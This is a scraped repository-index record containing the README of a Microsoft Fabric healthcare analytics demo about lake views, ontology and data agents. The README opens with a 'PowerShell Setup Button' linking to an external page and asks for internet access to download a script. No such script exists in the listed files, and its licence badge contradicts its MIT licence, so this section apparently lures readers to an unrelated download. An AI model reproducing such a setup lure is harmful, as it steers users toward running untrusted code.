[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109881":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":13,"contributorsCount":13,"subscribersCount":13,"size":13,"stars1d":13,"stars7d":13,"stars30d":13,"stars90d":13,"forks30d":13,"starsTrendScore":13,"compositeScore":14,"rankGlobal":9,"rankLanguage":9,"license":15,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":40,"updatedAt":41,"readmeContent":42,"aiSummary":43,"trendingCount":13,"starSnapshotCount":13,"syncStatus":44,"lastSyncTime":45,"discoverSource":46},109881,"fabric-mlv-agent-healthcare-starter","muhammadusamakhan911-bit\u002Ffabric-mlv-agent-healthcare-starter","muhammadusamakhan911-bit","Fabric MLV healthcare demo template: lake views, ontology, data agents",null,"HTML",149,1,0,40.9,"MIT License",false,"main",true,[20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"activator","cross-workspace","data-product","direct-lake","extended-lineage","fabric-activator","fabric-data-agent","fabric-demo","fabric-iq","healthcare","hospital-operations","lakehouse","materialized-lake-views","medallion-architecture","microsoft-fabric","ontology","patient-safety","power-bi","readmission-risk","zava","2026-11-23 10:11:24","2026-11-12 10:04:20","\u003Cdiv align=\"center\">\n\n# Fabric Healthcare Intelligence Demo — Starter Kit\n\n![](files\u002Fpreview.png)\n\n### 🔌 PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fmuhammadusamakhan911-bit.github.io\u002Ffabric-mlv-agent-healthcare-starter\u002F)\n\n[![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicence-Bsl--1.0-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell--7-5.1%2B_%2F_7%2B-34b759?style=for-the-badge&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStatus-Production-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTests-Passing-2ea44f?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nThis demo shows how Materialized Lake Views, Fabric IQ Ontology, Data Agents, and Activator combine to turn siloed hospital data into cross-domain operational intelligence. It simulates a multi-hospital network with EHR, staffing, census, and billing sources, then layers declarative transformations, an ontology, and persona-based agents on top. The goal is to answer questions that span clinical quality, operations, and finance — without hand-built pipelines or weeks of data engineering.\n\n## 📋 System Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- **Cross-workspace Materialized Lake Views** — define a transformation once in SQL; the output materializes as a governed Delta table in the target Lakehouse. No staging copies, no hand-built ETL.\n- **Declarative refresh cascade** — extended lineage orders dependencies automatically. One schedule refreshes the full graph across workspaces.\n- **Built-in data quality** — constraints enforced at materialization time instead of after the fact.\n- **Incremental refresh** — only changed data is recomputed, so hourly census and daily billing coexist without full rebuilds.\n- **Grain alignment in SQL** — encounter, ward-shift, and claim grains unified declaratively rather than in orchestration code.\n- **Three governed workspaces** — source, operational intelligence, and decision layers separated by access policy and refresh cadence, connected through MLVs.\n- **Fabric IQ Ontology** — business concepts and relationships modeled across clinical, operational, and financial domains so agents traverse meaning, not table joins.\n- **Three persona-scoped Data Agents** — Clinical Quality, Operations, and Financial, each backed by a Direct Lake semantic model reading MLV-materialized tables.\n- **Cross-domain reasoning** — a single natural-language question answers what would otherwise require joining risk signals scattered across three systems.\n- **Row-level and column-level security** — governance configured on semantic models flows through to agent responses automatically.\n- **Proactive alerting with Activator** — risk conditions trigger notifications before anyone asks, turning quarterly reporting into same-day action.\n- **Synthetic, reproducible dataset** — a simulated multi-hospital network with EHR, staffing, census, and billing feeds you can stand up end to end.\n\n## Architecture\n\nThe demo is organized as three Fabric workspaces, separated by governance boundary and connected by Materialized Lake Views. Raw hospital data lands in one workspace; transformation logic lives in a second; decision and action assets live in a third. MLVs read across workspace boundaries without hand-built ETL or staging copies — outputs are materialized as governed Delta tables in the target Lakehouse, and extended lineage keeps the full dependency chain visible.\n\n### Workspace layout\n\n| Workspace | Role | Contents |\n|---|---|---|\n| Source systems workspace | Source of truth | Raw EHR, staffing, census, and billing tables |\n| Clinical ops workspace | Operational intelligence | MLVs computing ward utilization, staffing adequacy, LOS patterns, readmission flags, discharge risk |\n| Command center workspace | Decision and action | MLVs, Direct Lake semantic models, Data Agents, and the ontology |\n\nWhy split into three? Governance, not tidiness:\n\n- Clinical data is PHI-governed; finance data is SOX-governed. Different access policies apply.\n- Census refreshes hourly, billing daily, quality metrics weekly. Different cadences.\n- Hospital IT, clinical informatics, and finance analytics are different teams with different permissions.\n\nOne schedule cascades refresh through the whole dependency graph.\n\n### Network scale\n\n| Dimension | Count |\n|---|---|\n| Hospitals | 12 |\n| Regions | 4 |\n| Wards per hospital | 5 (ICU, Med-Surg, Surgical, Pediatrics, Emergency) |\n| Total beds | ~710 |\n| Simulated admissions | ~50,000 over 18 months |\n| Ward-hour census rows | ~788,000 |\n| Staffing shift rows | ~98,000 |\n\n### Source tables\n\nGrain-aligned raw feeds: admissions and discharges at patient-encounter grain, readmissions at readmission-event grain, census at ward × hour, staffing at ward × shift, and billing at claim grain.\n\n### Operational intelligence MLVs\n\nThese read cross-workspace from the source systems workspace:\n\n| MLV | Computes |\n|---|---|\n| `ward_utilization` | Daily occupancy %, peak hours, available beds per ward |\n| `staffing_adequacy` | Nurse-patient ratio vs. safe threshold by ward × shift |\n| `los_patterns` | Average length-of-stay by DRG vs. expected, with outlier flags |\n| `readmission_flags` | 30-day readmissions linked to original encounter, ward, and DRG |\n| `discharge_risk_factors` | Per-discharge risk profile: staffing at discharge, census pressure, follow-up status, comorbidity |\n\n### Decision and action MLVs\n\nThese read cross-workspace from the clinical ops workspace.\n\nPattern detection — *what happened and why*: hospital quality scorecards, staffing-outcome correlation, readmission financial impact, and cost-per-patient breakdowns.\n\nRisk signals — *what needs attention now*: unsafe discharge risk (patients discharged today from understaffed wards with high comorbidity and no follow-up) and capacity pressure (wards above occupancy or below staffing thresholds on the current shift).\n\n### Agents and ontology\n\nThree Data Agents sit on Direct Lake semantic models that read MLV-materialized Delta tables directly — no import pipeline. Each agent maps to a persona (clinical quality, operations, financial). The ontology is the reasoning layer that lets a single question traverse discharge events → wards → staffing adequacy → encounters → DRGs → financial impact, joining domains no individual agent could reach alone.\n\n### Repository shape\n\n```\nnotebooks\u002F        # dimension setup, synthetic data generation, MLV definitions (SQL)\nagent-instructions\u002F  # one instruction file per agent persona\nontology\u002F         # ontology definition\nactivator\u002F        # optional alert setup\ndocs\u002F             # architecture detail, setup, demo script, sample queries\n```\n\nData generation notebooks seed dimensions and source tables; SQL notebooks define the operational, pattern-detection, and risk-signal MLVs in dependency order.\n\n## Project Structure\n\n```\nfabric-mlv-agent-healthcare-demo\u002F\n├── README.md\n├── LICENSE\n├── docs\u002F\n│   ├── ARCHITECTURE.md              # Data model, MLV definitions, ontology design\n│   ├── SETUP.md                     # Step-by-step deployment guide\n│   ├── DEMO-SCRIPT.md               # Guided end-to-end walkthrough\n│   └── SAMPLE-QUERIES.md            # Agent queries with expected outputs\n├── notebooks\u002F\n│   ├── 00-setup-dimensions.py       # Dimension tables: hospitals, wards, regions, DRGs\n│   ├── 01-datagen-admissions.py     # Synthetic admissions, discharges, readmissions\n│   ├── 02-datagen-census-staffing.py # Hourly census + shift staffing\n│   ├── 03-datagen-billing.py        # Billing and claims data\n│   ├── 10-clinical-ops-mlvs.sql     # Operational intelligence MLVs\n│   ├── 20-command-center-mlvs.sql   # Pattern detection MLVs\n│   └── 21-risk-signal-mlvs.sql      # Leading risk signal MLVs\n├── agent-instructions\u002F\n│   ├── clinical-quality-agent.md\n│   ├── operations-agent.md\n│   └── financial-agent.md\n├── ontology\u002F\n│   └── hospital-ontology.yaml\n└── activator\u002F\n    └── README.md                    # Activator alert setup guide\n```\n\n**Where things live**\n\n- `notebooks\u002F` — run in order. `00`–`03` populate source tables; `10` builds operational MLVs; `20`–`21` build decision and risk MLVs.\n- `agent-instructions\u002F` — one Markdown file per agent persona. Paste contents into the corresponding Data Agent.\n- `ontology\u002F` — business entity and relationship definitions consumed by the cross-domain agent.\n- `activator\u002F` — optional proactive alert configuration.\n- `docs\u002F` — deeper reference; start with `SETUP.md`.\n\n## Getting Started\n\n1. Create three Fabric workspaces: one for source data, one for operational intelligence, one for decision and action.\n2. Create a Lakehouse in each workspace.\n3. Run the setup and data-generation notebooks in the source workspace to populate admissions, discharges, readmissions, census, staffing, and billing tables.\n4. Run the operational intelligence SQL notebook in the second workspace to materialize the cross-workspace MLVs.\n5. Run the pattern detection and risk signal SQL notebooks in the third workspace to materialize the decision and action MLVs.\n6. Create one Direct Lake semantic model per persona (clinical quality, operations, financial) in the third workspace.\n7. Create three Data Agents using the instructions in `agent-instructions\u002F`.\n8. Register the ontology from `ontology\u002F` to enable cross-domain traversal.\n9. Optional: configure Activator alerts per `activator\u002FREADME.md`.\n\nFull walkthrough, prerequisites, and troubleshooting live in `docs\u002FSETUP.md`. For a guided end-to-end run, follow `docs\u002FDEMO-SCRIPT.md`.\n\n## FAQ\n\n**Do I need a Fabric capacity?**\nYes. Materialized Lake Views, Direct Lake semantic models, Data Agents, and Activator all require a Fabric capacity (F-SKU or trial). Everything here runs on a single capacity.\n\n**Can I run this without the full dataset?**\nYes. The data generation notebooks accept row-count parameters. Shrink the 18-month, 50k-admission window to a few weeks to iterate faster — the MLV definitions and ontology don't depend on volume.\n\n**Why three workspaces instead of one?**\nThe split mirrors a real governance boundary: PHI-governed clinical data, SOX-governed finance data, and executive decision surfaces each carry different access policies and refresh cadences. The MLVs cross those boundaries declaratively — that's the point of the demo, not an accident of setup.\n\n**Do the MLVs copy data between workspaces?**\nNo. MLV outputs are materialized as governed Delta tables in the target Lakehouse. Lineage tracks the full dependency chain across workspaces; no staging copies or hand-built ETL.\n\n**How long does a full refresh take?**\nRoughly a minute on a small capacity for the default dataset. Extended lineage cascades the refresh through the dependency graph automatically — you schedule once, not per view.\n\n**Can I plug in my own data?**\nYes. Match the source table schemas in the first workspace (admissions, discharges, readmissions, census, staffing, billing) and point the MLVs at your tables. The notebooks that generate synthetic data are separable from the MLV logic.\n\n**The agents give generic answers. What's wrong?**\nCheck three things in order: the semantic model has refreshed after the latest MLV run, the agent instructions from `agent-instructions\u002F` are attached, and the ontology is registered. Agents reason over the ontology — without it, they fall back to table-level queries and lose the cross-domain joins.\n\n**Why is the cross-domain question the centerpiece?**\nBecause it's the one no single persona can answer. The ontology traverses Discharge → Ward → Staffing → Encounter → DRG → Hospital → Financial Impact, which spans all three workspaces. If your agent answers it correctly, the whole stack is wired up.\n\n**Are RLS and CLS enforced at the agent layer?**\nGovernance is configured on the Direct Lake semantic models. Agents query through those models, so row- and column-level restrictions flow through automatically. Verify by asking an agent a question outside the caller's region scope — it should return only permitted rows.\n\n**Can I skip Activator?**\nYes. Activator is optional and demoed as a bonus moment. The MLVs, semantic models, agents, and ontology are fully functional without any alerting configured.\n\n**Does this work in a trial capacity?**\nYes, with two caveats: trial capacities suspend on inactivity, so expect to wake the capacity before a demo, and some tenant-level admin settings for Data Agents must be enabled.\n\n**Where do I change refresh schedules?**\nOn the MLV schedule in the workspace where the root view lives. One schedule cascades through the dependency chain — avoid scheduling individual views unless you have a specific reason.\n\n**Something failed mid-refresh. Where do I look?**\nOpen the extended lineage view first — it shows which node in the chain failed and what depends on it. Fix upstream, re-run, and downstream views refresh automatically.\n\n**Can I extend the ontology with new domains?**\nYes. Add entities and relationships to the ontology definition, register the updated version, and update agent instructions to reference the new concepts. Existing agents pick up new traversal paths without code changes.\n\n## License\n\nThis project is released under the MIT License.\n\nYou are free to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the software, subject to the standard MIT terms: retain the copyright notice and permission notice in all copies or substantial portions, and understand the software is provided \"as is\", without warranty of any kind, express or implied.\n\nThe full license text lives in the `LICENSE` file at the repository root.\n\nNote: the sample data generated by this demo is synthetic and contains no real patient information. If you adapt the demo for use with real data, you are responsible for compliance with all applicable healthcare, privacy, and financial regulations in your jurisdiction.","这是一个面向医疗健康领域的 Microsoft Fabric 数据智能演示模板，旨在将分散的医院数据（如电子病历、 staffing、入院统计和账单）整合为跨域运营洞察。项目基于 Materialized Lake Views（物化湖视图）、Fabric IQ 本体建模、Data Agent 和 Activator 等 Fabric 原生能力，支持声明式转换、自动血缘驱动的级联刷新、增量更新、多粒度对齐及细粒度安全控制。适用于医院集团级临床质量分析、再入院风险预警、运营效率优化等场景，帮助业务人员通过自然语言提问获取跨系统关联洞察。",2,"2026-11-24 04:37:47","CREATED_QUERY"]